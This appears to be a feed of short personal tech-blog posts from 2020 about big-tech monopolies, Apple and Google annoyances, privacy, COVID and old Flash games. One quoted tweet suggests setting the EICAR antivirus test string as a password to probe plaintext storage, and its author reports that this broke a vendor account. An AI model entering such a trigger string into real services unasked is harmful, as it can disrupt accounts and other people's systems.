[1] https://www.youtube.com/playlist?list=PLURsDaOr8hWX1T2WSXhPwL110La-GxjYY
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I mean... no shit? Water is wet and the sky is blue unless your state is on fire...
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This is why I never used Chrome and don't ever login to my GMail account... Google continues to prove that its users are its products and I want none of that.
Two years ago, Google modified Chrome to automatically sign users in without their consent. But, we were told, this wouldnโt send your content to Google โ that would still require users to press the โsyncโ button.Shocker: guess whatโs happening now. ยซhttps://t.co/MOPQbjFlWrยปยนโ Matthew Green (@matthew_d_green) ยซDecember 9, 2020ยปยฒ
ยซPreviously...ยปยณ
[2] https://twitter.com/matthew_d_green/status/1336677175412527107?ref_src=twsrc%5Etfw
[3] https://blog.cryptographyengineering.com/2018/09/23/why-im-leaving-chrome/
In case you still think that corporations ever think of humans as anything other than resources to be managed, note that trillion and billion dollar multi-nationals are nit picking over not supporting slavery, in 2020... ยซhttps://www.nytimes.com/2020/11/29/business/economy/nike-coca-cola-xinjiang-forced-labor-bill.htmlยปยน
That one is wise.
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Oh look, someone else's ยซIoT build logยปยน turns out to be a perfect illustration to why I have no desire to have any of that garbage in my life. I'll leave debugging someone else's science project when I need to turn on a light after a power outage to other people.
[1] https://www.troyhunt.com/iot-unravelled-part-1-its-a-mess-but-then-theres-home-assistant/
I rewrote some of the image processing pipeline for Thoughts today to simplify things a bit. Let me know if anything ends up looking... different, especially if you are using the RSS feed.
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It turns out that by listening to science and having a plan, we could have actually still had a good time this year. ยซhttps://www.jwz.org/blog/2020/11/taiwan/ยปยน
[1] https://www.jwz.org/blog/2020/11/taiwan/
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There are some absolute gems being restored to life in the ยซInternet Archive'sยปยนยซflash software collectionยปยฒ. Wonderful old gems about ยซcowsยปยณ, ยซbasesยปโด, ยซBadgersยปโต, ยซmonkeysยปโถ, ยซa horseยปโท and so much more.
[2] https://archive.org/details/softwarelibrary_flash?sort=titleSorter
[3] https://archive.org/details/cows_with_guns_202011
[4] https://archive.org/details/flash_allyourbase
[5] https://archive.org/details/flash_badger
[6] https://archive.org/details/dancemonkeys
[7] https://archive.org/details/466-horse-3
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So, there's Google, trying to split the web again. Google will be knocking out an entire Browser ecosystem by making it you can't log into Google services without their special browser webkit.ยซhttps://t.co/aYYtv2bWKxยปยนโ Jason Scott (@textfiles) ยซNovember 21, 2020ยปยฒ
It's almost like they are acting like a monopoly... weird.
[2] https://twitter.com/textfiles/status/1330150314406780928?ref_src=twsrc%5Etfw
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On what planet ยซcan you buy only part of a contractยปยน? *โI'll take the bits where I get to use your work but you can keep the parts that say I have to pay you.โ* Yeah, I'm sure that is how contracts work.
[1] https://www.youtube.com/watch?v=ScyxcrEOjJo
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Is there anything quite as hilariously tone-deaf as ยซbillionaires having a slap fightยปยน?
[1] https://www.youtube.com/watch?v=VQv5_9TpRF0
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People are uploading true classic flashes thought otherwise lost. Here's a personal favorite: FLY GUY by Trevor Van Meter. ยซhttps://t.co/zxf4XQqMFNยปยนRight-click on it, set it to full-screen, and press arrow keys around. It's amazing. ยซpic.twitter.com/lc6K8zVsoAยปยฒโ Jason Scott (@textfiles) ยซNovember 20, 2020ยปยณ
[3] https://twitter.com/textfiles/status/1329839581689245696?ref_src=twsrc%5Etfw
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Oh, remember all those times I bitched about ยซHome Control turning itself back on after rebootยปยน? Now Siri is doing it for the Podcasts app. I am not sure why the Siri options are even available as the profile I have forbids Siri, but it isn't like Apple has cared about software quality for the last decade so I suppose I should be happy the thing works at all.
[1] https://www.going-flying.com/thoughts/1600295997.html
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Almost everything these days that says *BLOCKCHAIN!* on it anywhere is a sham to try to extract money from venture capitalists and angel investors. Anyone who tells you otherwise is at best wrong and at worst profiting from it. I usually just point at ยซMatt Blazeยปยน when conversation turns to electronic voting but now you can also point at ยซBruce Schneierยปยฒ who has a link to the obligatory ยซXKCDยปยณ and a new MIT paper on the topic. tl;dr though, software is *awful* and doesn't actually address any of the problems we have with voting. How about we ยซfix the Post Officeยปโด instead? #PostalBankingTooPlease
[1] https://twitter.com/mattblaze/status/1034486679925678080?lang=en
[2] https://www.schneier.com/blog/archives/2020/11/on-blockchain-voting.html
[4] https://www.youtube.com/watch?v=IoL8g0W9gAQ
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Rapid antigen tests trade sensitivity for speed. They return a result in <30 minutes, but can only detect COVID-19 when you're absolutely riddled with it. What's bogus is that Space Karen didn't read up on the test before complaining to his millions of followers. ยซpic.twitter.com/a1Snfpm03hยปยนโ Emma Bell PhD (@emmabell42) ยซNovember 14, 2020ยปยฒ
Welp, there goes thinking of ยซ@elonmuskยปยณ as anything other than Space Karen ever again.๐
[2] https://twitter.com/emmabell42/status/1327586649765769218?ref_src=twsrc%5Etfw
[3] https://twitter.com/elonmusk
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ยซWhy Isnโt Dread Lord Nyarlathotep Respecting Our Time-Honored Peaceful Transition of Power?ยปยน
To be clear, I'm not opposed to a shut down for health purposes.What I oppose is our leaders, and their corporate funders, demanding that working people shoulder the burden of the shutdown while Jeff Bezos, landlords etc get richer.This is medieval.โ The British History Podcast (@BritishPodcast) ยซNovember 13, 2020ยปยน
[1] https://twitter.com/BritishPodcast/status/1327362937611173888?ref_src=twsrc%5Etfw
It was super charming to watch Z and his dad ยซrock the W in CoDยปยน.
[1] https://www.youtube.com/watch?v=MbjoDtHMGmQ
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I'm up, so I may as well post Friday's super controversial strip. ยซpic.twitter.com/e32JlzER5nยปยนโ Gabe (@cwgabriel) ยซNovember 13, 2020ยปยฒ
They are both right. The present day shit in AC has always been the worst part of the game and nuts in brownies are *correct*.
[2] https://twitter.com/cwgabriel/status/1327169856710475782?ref_src=twsrc%5Etfw
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Clearly a release that necessitates a minor version bump... so many emojis.
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Speaking of another monopoly that should be put head first into a wood chipper... ยซTicketmaster is the worstยปยน (via jwz).
[1] https://www.jwz.org/blog/2020/11/ticketbastard-wants-your-medical-records/
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In today's episode of crap frontend developers think is totally fine: 20,000+ lines of <style> in <head>.
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I'm sick of these awful ยซยง 230ยปยน takes and all of the big tech censorship claims. I'm sorry but YouTube and Twitter are the digital equivalent of private property and the ยซFirst Amendmentยปยฒ (US Const. ammed. I) doesn't have anything to say on what someone else's website can and cannot do with information you submit, however; it is likely that the confusion is the result of most of the tech giants being monopolies. Instead of worrying about imposing legislation that creates moderation standards, how about we fix the root cause instead. eg: U.S. v. AT&T (ยซ552 F. Supp. 131 (D. D.C. 1982)ยปยณ).
[1] https://www.law.cornell.edu/uscode/text/47/230
[2] https://www.law.cornell.edu/constitution/first_amendment
[3] https://en.wikipedia.org/wiki/United_States_v._AT%26T
How you know your front-end developers are pros... ๐
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Leonard French has a really well reasoned look ยซat fair use and live streamingยปยน that is well worth the watch if you are at all interested. There is a *LOT* of confusion around fair use in the context of copyright and he does a really good job on his channel going through it. Bonus quick look at BGM in streams at the end.
[1] https://m.youtube.com/watch?v=fqmzxw0t6Ok
An apostate ยซadvocatesยปยน understanding the software you work on and the reasons for its design. Hackernews spends the afternoon trying to come up with a complicated metaphor to explain this concept to people who are not software engineers, which is a tremendous waste of time, *because people who are not software engineers would take it for granted that you need to understand the things you work on for a living.*
(ยซviaยปยฒ)
[1] https://daverupert.com/2020/11/technical-debt-as-a-lack-of-understanding/
[2] http://n-gate.com/hackernews/2020/11/07/0/
One down. One to go. ยซpic.twitter.com/eQYi1pBqkuยปยนโ Sacha Baron Cohen (@SachaBaronCohen) ยซNovember 7, 2020ยปยฒ
[2] https://twitter.com/SachaBaronCohen/status/1325223702506696704?ref_src=twsrc%5Etfw
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Why can't we have nice things and just be responsible adults? ยซhttps://www.dnalounge.com/backstage/log/2020/11/06.htmlยปยน
[1] https://www.dnalounge.com/backstage/log/2020/11/06.html
I suspect I have a series of blog posts to write...
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Looks like spending $200 million ยซboughtยปยน the tech sector more time to create a whole class of 21st century serfs. How wonrerful.
[1] https://www.nytimes.com/2020/11/04/technology/california-uber-lyft-prop-22.html
Same.
Ok so... after decades of thinking โwhatโs your favorite animal?โ is a fucking weird ass question (because it is), I have finally decided upon... raccoons. I just.. I understand them now. Theyโre just hanging out. They got tiny hands and they want your trash. I fuckin get it.โ April O'Neil (@undeux) ยซOctober 26, 2020ยปยน
[1] https://twitter.com/undeux/status/1320646100722696194?ref_src=twsrc%5Etfw
"I must not fear.
Fear is the mind-killer.
Fear is the little-death that brings total obliteration.
I will face my fear.
I will permit it to pass over me and through me.
And when it has gone past I will turn the inner eye to see its path.
Where the fear has gone there will be nothing. Only I will ยซremainยปยน ."
[1] https://www.instagram.com/p/CGqdFoenpbR/
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My iPhone 7 and I agree. ยซhttps://brokeassstuart.com/2020/10/21/why-you-should-not-buy-the-iphone-12/ยปยน แ(เฒ ็เฒ แ)
[1] https://brokeassstuart.com/2020/10/21/why-you-should-not-buy-the-iphone-12/
Feels good. Remind me why we don't allow vote by mail here every year?
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Social media would be so much better if it had a ยซkillfileยปยน, or threads, or basically any feature invented 40 years ago, or respect for real live human beings.
[1] https://www.jwz.org/blog/2020/10/ill-take-problems-we-solved-correctly-in-the-80s-for-100-alex/
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You had one job with the ยซiPhone 12ยปยน, Apple. That job was USB-C. Welp.
[1] https://www.apple.com/iphone-12/specs/
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ยซ20 minutes of artisanal Nixie Tube productionยปยน (via: ยซjwzยปยฒ)
[1] https://www.youtube.com/watch?v=BnV98v7IQns
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Ok, so I came across Mozilla's list of ยซ'big tech alternatives'ยปยน, and the only product listed that I didn't know about already (and not need) was this Jumbo thing. Talk about an awful website. Hey, how about you TELL ME WHAT YOU DO before you harvest my e-mail address? Especially for something that wanks on about being privacy focused.
[1] https://blog.mozilla.org/firefox/join-the-anti-establishment/
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Why did the UI "experts" at Apple think that instead of using the same type of indicators they use for Location Services being in use that they'd leave a couple debug indicators compiled into a release build?
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Yikes. I bet more places than you think would react... poorly to this test.
Ever want to test systems & see if your password is ever stored/sent in plaintext?Make it: X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*I am on the phone with a vendor right now because my test account is in an inoperable state.๐งโ Greg Linares (@Laughing_Mantis) ยซSeptember 22, 2020ยปยน
[1] https://twitter.com/Laughing_Mantis/status/1308212643723767809?ref_src=twsrc%5Etfw
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Today's ยซxkcdยปยน contains so much truth.
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ยซThisยปยน is an interesting retrospective on filesystems. It does leave me wondering โ would we have to keep inventing new APIs if we just had the same things we had back in the 1970s? After a while I remember that this is all of computing and go back to doing something else.
[1] https://weinholt.se/articles/non-posix-filesystems/
ยซ*sigh* Mozilla...ยปยน Also, people sometimes look at me funny when they find out that I don't use Google stuff. That is a thing people sometimes do...
[1] https://www.jwz.org/blog/2020/09/this-is-a-pretty-dire-assessment-of-mozilla/
So... how do we ยซ#DefundSiliconValleyยปยน ?
Today is clearly going to be a good computer day...
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Wait, people care about ยซBethesdaยปยน still? Have they made anything good since Skyrim in 2011?
[1] https://www.nytimes.com/2020/09/21/technology/microsoft-zenimax-video-game-deal.html
I was going to embed this here but the code to do that is almost 7200 characters log because social media engineers are pretty much universally bad at their jobs. Anyway, ยซI agree with @chris.randallยปยน.
[1] https://www.instagram.com/p/CFZ3RHLBGSV/
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One of the things that I love about old equipment is that gear used to be built with serviceability in mind. This Onkyo tuner has a single sided PCB with the track layout silk screened on the top so it can be troubleshot without disassembly. That is how you know they cared.
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I can think of much worse ways to spend my birthday weekend...
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ยซhttps://logicmag.io/care/built-to-last/ยปยน
[1] https://logicmag.io/care/built-to-last/
So, I know this isn't new but can we get a way to turn this iOS Podcasts.app downloading pause "feature" off? I bought the extra storage for a reason, so like, keep downloading.
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Can you hide the new iOS App Library screen? No, of course not. Why would you want that? We only give you features you want here at Apple. ๐
The home control bug is still there at least. ยซPreviouslyยปยน, ยซpreviouslyยปยฒ, ยซpreviouslyยปยณ.
[2] https://www.going-flying.com/blog/ok-so-ios-112-fixes-most-of-what-i-hated-most.html
[3] https://www.going-flying.com/blog/first-impressions-of-ios-11.html
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Oh hey, iOS 14 is here and I'm glad the new Music icon was 2.4GB and required a reboot.
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Instead of sleeping last night I stumbled down a rabbit hole by the name of Kevlin Henney. ยซ1968ยปยน, ยซAgility โ Speedยปยฒ, ยซThe Forgotten Art of Structured Programmingยปยณ.
[1] https://www.youtube.com/watch?v=KjgvffBlWAg
[2] https://www.youtube.com/watch?v=kmFcNyZrUNM
[3] https://www.youtube.com/watch?v=SFv8Wm2HdNM
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ยซhttps://inessential.com/2020/07/28/untrueยปยน is a good walk through some of the BS I keep seeing about the Apple App Store ecosystem.
[1] https://inessential.com/2020/07/28/untrue
I don't know why I made ยซthisยปยน, but it sure amuses me.
[1] https://bennie2.blob.core.windows.net/deploy/date.html
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ยซI never thought I'd see the Lockpicking Lawyer call a lock unpickable...ยปยน of course it ended up being German.
[1] https://www.youtube.com/watch?v=-FUQ6ZxTkM8
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Having run my own e-mail infrastructure for at least 15 years this strikes close to my heart. ยซhttps://battlepenguin.com/tech/how-google-and-microsoft-made-email-unreliable/ยปยน
[1] https://battlepenguin.com/tech/how-google-and-microsoft-made-email-unreliable/
I am glad I didn't follow the iFixit instructions for replacing the battery on my A1398 MacBook Pro. It was a lot easier than they made it out to be. Now I do not have to buy a new laptop for several more years! ๐ #RightToRepair
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ยซDo not buy this asshole's bookยปยน
[1] https://www.mcsweeneys.net/articles/all-the-presidents-book-deals
In case you were wondering what the Sturgis Motorcycle rally cost...๏ฟฝ๏ฟฝhttp://ftp.iza.org/dp13670.pdfยปยน
New ยซ@SDSUCHEPSยปยฒ paper by Dhaval Dave ยซ@FriedsonAndrewยปยณ ยซ@Drew_McNicholsยปโด & Joe Sabia ("Contagion Externality of Super-spreader") finds Sturgis Motorcycle Rally was a local & nationwide spreader of COVID-19. Estimated public health cost: ~$12B See: ยซhttps://t.co/uByz9ja6hLยปโต ยซpic.twitter.com/jdLlLkwRekยปโถโ CHEPS (@SDSUCHEPS) ยซSeptember 6, 2020ยปโท
[1] http://ftp.iza.org/dp13670.pdf
[2] https://twitter.com/SDSUCHEPS
[3] https://twitter.com/FriedsonAndrew
[4] https://twitter.com/Drew_McNichols
[7] https://twitter.com/SDSUCHEPS/status/1302480031638147074
We used to joke that most startups' plan to grow to operate at scale was to get acquired by Google. The reality seems that the real endgame is to be acquired by Google then killed off. ยซhttps://killedbygoogle.comยปยน
[1] https://killedbygoogle.com
ยซhttps://brokeassstuart.com/2020/09/07/americans-need-to-take-more-personal-responsibility/ยปยน
[1] https://brokeassstuart.com/2020/09/07/americans-need-to-take-more-personal-responsibility/
If for some reason you're still reading hackernews, might I suggest instead you use the annotated digest version at ยซhttp://n-gate.comยปยน which I think you will find significantly better (if for no other reason than the comments are omitted).
Hm, so I've had ยซLittle Brotherยปยน in my Amazon wishlist for years now so instead I decided to get it and the two sequels all at once ยซon Kickstarterยปยฒ. ๐ง Bonus points for not sending any of the money to Amazon.
[1] https://craphound.com/littlebrother
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The key takeaway for everyone should be the last sentence: ยซ"The next time you pick up your phone, or tablet, or laptop, ask yourself if the experience is โenrichingโ, or just โengagingโ, and take a moment to consider just putting the device down."ยปยน
[1] https://www.susa.net/wordpress/2020/08/why-advertising-is-destroying-the-web/
Whoever it was at IMDB that decided to whine about their app in an interstitial should be fired publicly as a warning to others who think this might be a good idea.
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I love how the JavaScript frontend ecosystem continually seems to forget the last 60 years of computer history.
ยซhttps://blog.cloudflare.com/rendering-react-on-the-edge-with-flareact-and-cloudflare-workers/ยปยน
The answer is never *stop building websites with piles of JavaScript*, no the answer is another JavaScript library. Because ad-laden, opinion filled, listicles need access to a Turing complete system on every view. ๐
[1] https://blog.cloudflare.com/rendering-react-on-the-edge-with-flareact-and-cloudflare-workers/
ยซhttps://utcc.utoronto.ca/~cks/space/blog/sysadmin/BlameAndWorksOnMyLaptopยปยน
[1] https://utcc.utoronto.ca/~cks/space/blog/sysadmin/BlameAndWorksOnMyLaptop
As a follow on to my blog post on ยซEpic v. Appleยปยน we have a look at the instant motion for a temporary restraining order thanks to our favorite copyright attorney Leonard French ยซhttps://www.youtube.com/watch?v=4p9zDPkbqycยปยฒ. I would love to see an anti-trust ruling eventually but I really don't see how it gets done and frankly it's still painful to watch a multi-billion dollar company throw a temper tantrum at a multi-trillion dollar company because it's not making enough money. ๐
[1] https://www.going-flying.com/blog/apple-google-epic-app-store-anti-trust.html
[2] https://www.youtube.com/watch?v=4p9zDPkbqyc
Funny how common sense gets lost as new things get normalized into infrastructure.
ยซhttps://yeahiwasintheshit.tumblr.com/post/627524104462991360/sugdenlovesdingle-i-grew-up-in-the-90s-whenยปยน
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This pretty reasonably articulates things that have been low-key rattling through my head for a while now that I have not been able to effectively articulate. Fixing so many of the ills we experience at the hands of capitalism seems so difficult and unattainable without bespoke solutions for each problem. The reality turns out to be that a lot of it is likely fallout from monopolistic, oligarchic, and generally corrupt actors, and as such we actually do have tools to combat them. ยซhttps://mostlysignssomeportents.tumblr.com/post/627523017255370752/surveillance-capitalism-is-just-capitalism-plusยปยน
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Duncan v. Becerra - California's "Large Capacity Magazine" ban decision (read by Leonard French) ยซhttps://www.youtube.com/watch?v=M8v-Eu0nCzMยปยน. (Full opinion read ยซhereยปยฒ)
[1] https://www.youtube.com/watch?v=M8v-Eu0nCzM
[2] https://www.youtube.com/watch?v=RATAjkdE6lY
โIt is a fairly specific workflow that is a challenge for some newer developers to engage with. As an example, my partner submitted a patch to OpenBSD a few weeks ago, and he had to set up an entirely new mail client which didnโt mangle his email message to HTML-ise or do other things to it, so he could even make that one patch. Thatโs a barrier to entry thatโs pretty high for somebody who may want to be a first-time contributor.โ
ยซhttps://www.theregister.com/2020/08/25/linux_kernel_email/ยปยน
I'm skeptical of the quality of a developer that cannot install and configure an e-mail client so perhaps the barrier to entry is in fact useful. Operating system development is difficult and nuanced and has very real risks if you do it wrong. The infamous Apple ยซ"goto fail;"ยปยฒ comes to mind.
[1] https://www.theregister.com/2020/08/25/linux_kernel_email/
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ยซThe date is now Tuesday, March 178th, 2020.ยปยน
[1] https://www.jwz.org/blog/2020/08/the-date-is-now-tuesday-march-178th-2020/
ยซhttps://www.mcsweeneys.net/articles/arkham-board-of-health-feedback-on-miskatonic-universitys-draft-plan-for-a-safe-campus-reopeningยปยน
ยซhttps://blog.lukaszolejnik.com/web-browsing-histories-are-private-personal-data-now-what/ยปยน
[1] https://blog.lukaszolejnik.com/web-browsing-histories-are-private-personal-data-now-what/
My MacBook Pro has thrown the 'Service Battery' alert recently so I pulled the bottom off to check the battery part number to order a replacement. When I bought the MacBook Pro I checked to verify it wasn't subject to the inflating/exploding battery recall and Apple's website said I was either not effected or the battery was already replaced. Sure looks like that was the case, eh? Welp, good thing I have a replacement on the way.
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Ok, so... I laughed out loud several times in the first few minutes of reading... an opinion... from an Ontario court... over a traffic infraction. They should teach this case in high school to encourage people to learn more about the law. ยซhttps://m.youtube.com/watch?v=e7haZ3ekuSgยปยน. No kidding, literally laughing. ๐
[1] https://m.youtube.com/watch?v=e7haZ3ekuSg
Quality content. ยซhttps://www.tiktok.com/@streetmagiciandudeยปยน
[1] https://www.tiktok.com/@streetmagiciandude
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Honestly, I think stuff like this happens when any piece of the ecosystem hits the `defacto standard` / `near monopoly` status. Seemingly reasonably and useful pieces of code turn into dangerous misfeatures.
ยซhttps://blog.apnic.net/2020/08/21/chromiums-impact-on-root-dns-traffic/ยปยน
Of course you can also point out that the real root cause of this is the NXDomain hijacking by ISPs that everyone smart said would come back to bite us in the ass in fact biting us on the ass.
[1] https://blog.apnic.net/2020/08/21/chromiums-impact-on-root-dns-traffic/
Today's jam: ยซhttps://timecop1983.bandcamp.com/album/night-driveยปยน
[1] https://timecop1983.bandcamp.com/album/night-drive
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If my ~10 years of experience at an ISP taught me anything, ยซthisยปยน is *extremely* optimistic.
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The fact that I have not felt able to write a truly spleen-venting rant about how awful ยซElectronยปยน is (it is a vile construct) and how you should be ashamed for using it (you should be) is testament to how mind wrenchingly terrible it is to develop software using the native tools. Microsoft and Apple should be truly ashamed of themselves.
[1] https://www.electronjs.org
The WSJ article is behind the paywall but Bruce Schneier has a ยซsynopsisยปยน. The tl;dr is basically 'another company caught hiding data collection in their API is selling your data everywhere.' This is why I don't install mobile apps. You have to trust not only the app vendor but every single library they use all the way down to the OS SDK. Good luck with that.
[1] https://www.schneier.com/blog/archives/2020/08/collecting_and_.html
A statement from [Brand]ยฎ ยซpic.twitter.com/XT9tXF9hvzยปยนโ Chris Franklin (@Campster) ยซMay 31, 2020ยปยฒ
This behavior is up there with millionaires begging me to donate money to their charities in the continuum of 'tone deaf horse shit'.
[2] https://twitter.com/Campster/status/1267183124582215680?ref_src=twsrc%5Etfw
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Hey, I have an idea. Instead of displaying a modal dialog box you open news urls in Safari like normal people? Deleting the app is a pretty strong indicator that I don't want it.
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ยซhttps://www.bostonglobe.com/2020/07/27/opinion/republicans-demographic-trap/ยปยน
[1] https://www.bostonglobe.com/2020/07/27/opinion/republicans-demographic-trap/
Dan Rather throwing shade on Twitter? Yeah, must be 2020 still. ยซhttps://wilwheaton.tumblr.com/post/625904233892429824/vbartilucci-sirfrogsworth-dan-rather-a-stoicยปยน
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I feel like this list is missing something...
ยซhttps://www.jwz.org/blog/2020/08/doom-scroll/ยปยน
[1] https://www.jwz.org/blog/2020/08/doom-scroll/
Well this is a new low in app design. Just deleted the SiriusXM app from my AppleTV because there is no obvious way to stop it from playing. Even quitting back to the home screen doesn't seem to shut it up. Nice.
I can't help but wonder if he ever got his data... I also can't help but wonder if we'll have meaningful privacy legislation in my lifetime. ยซhttps://www.wired.com/story/one-mans-obsessive-fight-to-reclaim-his-cambridge-analytica-data/ยปยน
[1] https://www.wired.com/story/one-mans-obsessive-fight-to-reclaim-his-cambridge-analytica-data/
Man, I forgot how amateur hour Nintendo's networking is. I love that they think it's totally reasonable to forward every single UDP port to your Nintendo device. Because no one plays any games on anything other than their Nintendo Switch that uses UDP... (ยซNintendo Support Articleยปยน)
In today's garbage fire tech-bro fueled own nothing culture, billionaire continues to screw people who actually make things. ยซvia jwzยปยน
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The US Post Office is a really important part of the machinery of the country and we really should be protecting it instead of putting it through a meat grinder so it seems like a good idea to privatize it. Privatizing parts of the government only leads to taxpayers getting leas for their money, and private industry being funded by taxpayers.
ยซhttps://dynamoe.tumblr.com/post/625263393907113984/saveuspsยปยน
[1] https://dynamoe.tumblr.com/post/625263393907113984/saveusps
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Remember the days when web sites provided you with RSS feeds? I miss those days. Those days would have saved me over 2000 lines of Python.
Well shit, now I want a pond in my back yard even more than before... (also, lord these listicle sites are smoking garbage fires of attribution. Google image search returns about a million imgur and giphy links and nothing that looks like an original source...)
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I don't know why I keep going round and round trying to make my iOS devices better at creating things than they are, it never works. I should put a sticker on my phone and tablet that says 'For Consumption Only'.
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So a bit ago ยซteduยปยน shared a blog post that caught my eye. It was about ยซwriting a network protocol client using Swift and Network.frameworkยปยฒ and while that in itself was interesting the bit that dragged me down a rabbit hole was this talk of a ยซGeminiยปยณ protocol.
[1] https://honk.tedunangst.com/u/tedu
[2] https://shadowfacts.net/2020/gemini-network-framework/
[3] https://gemini.circumlunar.space/
Once again a reminder that consolidation of resources on the Internet is not only asking for failures of all kinds but is in fact antithetical to the design principals of the network. ยซCloudflare Outage on July 17 2020ยปยน
[1] https://blog.cloudflare.com/cloudflare-outage-on-july-17-2020/
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Specifically, twitter seems to have, along its way from being a crappo SXSW chatroom, perfected an algorithm where you go 'I really don't think we should shred nuns' and Twitter will do its absolute friggin' best to find @TheNunShredderโ๏ธ and make sure he comes crashing in.โ Jason Scott (@textfiles) ยซJuly 17, 2020ยปยน
[1] https://twitter.com/textfiles/status/1284002348071899136?ref_src=twsrc%5Etfw
I spent a good amount of time today writing a new scraper for one of my RSS feed generators. Watching log files during that reminded me how much of the Internet is just machines howling at other machines in the interminable darkness.
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Can we all just agree that Silicon Valley turned into a ยซhorror showยปยน a while ago?
[1] https://www.dnalounge.com/backstage/log/2020/07/10.html
Is it just me or is finding anything in any of the Apple storefronts an exercise in futility? I swear, the *smarter* they claim they make this crap the more frustrating it is to actually use.
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ยซhttps://www.nytimes.com/2020/07/02/opinion/private-equity-inequality.htmlยปยน
[1] https://www.nytimes.com/2020/07/02/opinion/private-equity-inequality.html
I've been thinking about this a lot recently for obvious reasons and this is a pretty succinct essay that sums up my thoughts. ยซhttps://www.schneier.com/blog/archives/2020/07/the_security_va.htmlยปยน I'd only add the warning that the consolidation of carriers and the general reality of the 'big four' Internet companies has started to erode the resiliency that was inherent in the Internet of the last decade - and we should look at that as bad a trend as what has happened, well, everywhere else.
[1] https://www.schneier.com/blog/archives/2020/07/the_security_va.html
One of the things that I think the video in my ยซprevious Thoughtยปยน shows, perhaps unintentionally is how much time a computer has to dedicate to simply interact with humans. I'll try not to take printf(3) with %d for granted in the future.
[1] https://www.going-flying.com/thoughts/1593486131.html
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If you have not been watching any of ยซBen Eater'sยปยน videos on computers you are missing out. In his ยซlatestยปยฒ he answers the question, binary to decimal -- how hard can that be?
[1] https://www.youtube.com/user/eaterbc/videos
[2] https://www.youtube.com/watch?v=v3-a-zqKfgA
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The 'designers' at YouTube continue to amaze me at how bad they are at their jobs...
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Today's feels...
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ยซhttps://computerhistory.org/blog/discovering-dennis-ritchies-lost-dissertation/ยปยน
[1] https://computerhistory.org/blog/discovering-dennis-ritchies-lost-dissertation/
Just pushed a new container, it uses nginx to transform a RTMP stream off of a camera watching my bird feeder into a HLS stream so I can publish it to the web. Yep. That's a thing I just did.
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So in today's iOS is still trash news, 13.5.1 still will not register scroll inputs while it is fading in the highlight during multi-select in a ListView. Makes deleting and filing messages really awesome in Mail.app, nothing like adding a 200ms delay in the tap tap scroll tap tap scroll dance.
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ยซhttps://m.youtube.com/watch?v=T9Ckb_Qa8Qwยปยน
[1] https://m.youtube.com/watch?v=T9Ckb_Qa8Qw
I love this kind of stuff: ยซRecovering the Lost Apollo 10 LM Softwareยปยน. If you didn't see the Apollo Guidance Computer restoration series, ยซyou should watch itยปยฒ.
[1] https://www.youtube.com/watch?v=-JTa1RQxU04
[2] https://www.youtube.com/playlist?list=PL-_93BVApb59FWrLZfdlisi_x7-Ut_-w7
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Finally got around to playing the Tomb Raider reboot, it was enjoyable and it looks pretty great in 2k on a GTX 1080.
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ยซhttps://www.jwz.org/blog/2020/06/everyone-at-facebook-is-qwhite-complicit/ยปยน
[1] https://www.jwz.org/blog/2020/06/everyone-at-facebook-is-qwhite-complicit/
I wonder how many different variations on ยซthis scriptยปยน I have written over the years. I gotta believe at least 20.
[1] https://ssl.ub3rgeek.net/git/?p=misc.git;a=blob;f=sync-audi-mmi-sd
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ยซhttps://xkcd.com/2312/ยปยน mbmbam is a pretty good unit of measure if you ask me.
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ยซhttps://www.penny-arcade.com/comic/2020/05/22/ยปยน
[1] https://www.penny-arcade.com/comic/2020/05/22/
So TIL that my hatred of the iPadOS dock means most of the multitasking stuff is useless to me. ยซhttps://support.apple.com/en-us/HT207582ยปยน.
[1] https://support.apple.com/en-us/HT207582
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ยซhttps://www.jwz.org/blog/2020/05/pizza-arbitrage/ยปยน
[1] https://www.jwz.org/blog/2020/05/pizza-arbitrage/
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ยซhttp://www.righto.com/2020/05/extracting-rom-constants-from-8087-math.htmlยปยน
[1] http://www.righto.com/2020/05/extracting-rom-constants-from-8087-math.html
Turning on an availability monitor in Azure Application Insights has eliminated the cold start penalty and drastically reduced my HTTP triggered function execution time. I should still be well within the free usage allotment for the Pay-As-You-Go tier as well. Bonus.
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Worth a read. ยซhttps://www.wired.com/story/confessions-marcus-hutchins-hacker-who-saved-the-internet/ยปยน
[1] https://www.wired.com/story/confessions-marcus-hutchins-hacker-who-saved-the-internet/
tl;dr: monopolies are stupid and make short sighted decisions.
ยซhttps://www.eff.org/deeplinks/2020/04/frontiers-bankruptcy-reveals-cynical-choice-deny-profitable-fiber-millionsยปยน
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Spent an hour figuring out the hard way that SERVER_PROTOCOL is not available when ProxyPass is processed for some reason (surely Apache knows the HTTP version of the incoming request it is about to proxy) so instead of committing an act of barbarism against my config to work around this with mod_rewrite I yanked my app out of the container and put it back under mod_wsgi. Simpler is often better.
The latest ยซLast Week Tonightยปยน on the USPS is not only hilarious and informative as usual, but come on, who doesn't want an "ยซAND NOW...A STAMPยปยฒ" stamp.
[1] https://www.youtube.com/watch?v=IoL8g0W9gAQ
[2] https://photostamps.com/products/laststamptonight
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I know that Mercury is an ยซinsane hellscapeยปยน, but if you squint all sciency like it looks ยซreally prettyยปยฒ.
[1] https://en.m.wikipedia.org/wiki/Mercury_(planet)
[2] https://www.instagram.com/p/B_3FNMgp-e5/
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Remember when looking at the logs of your own system was as easy as grep *something* /var/log/* and not *log show --last 1h --style syslog --debug --predicate 'senderImagePath == "/System/Library/Extensions/Sandbox.kext/Contents/MacOS/Sandbox"'*. Man those days were *awful* weren't they?
Why yes. I did have tacos today. Thanks for asking.
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Honestly, my browser tabs are often a bit weird but I think I am turning some kind of corner here.
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ยซhttps://www.bbc.com/news/av/uk-england-beds-bucks-herts-52504130/captain-tom-cockpit-view-of-raf-flypast-in-marston-moretaineยปยน I have always wanted to fly a Spitfire.
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ยซThis is an amazing story.ยปยน
[1] https://wilwheaton.tumblr.com/post/616951798594453504
ยซThisยปยน. So much this. If you made a website do these things be ashamed.
[1] https://mobile.twitter.com/chris_randall/status/1251170743238311937
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And sometimes people ask my why I don't like using random libraries off the Internet... ยซThis is whyยปยน.
[1] https://medium.com/javascript-in-plain-english/is-promise-post-mortem-cab807f18dcc
I think I found a picture of the first piece of hardware that I built and hooked up to the Internet... Can you believe there was a time when people would just expose binaries with write-access to their parallel port to the world?
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No. Autoplay is disabled for a reason. This modal overlay is bad design. Respect your users' choices instead of interrupting them to whine.
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It's probably a decent time to mention that hey, if there are people out there that make things that you think are cool and get enjoyment out of, this would be the time to support them if you can. Personally I've been plowing through ยซmy favorite podcastsยปยน so I sent some money their way.
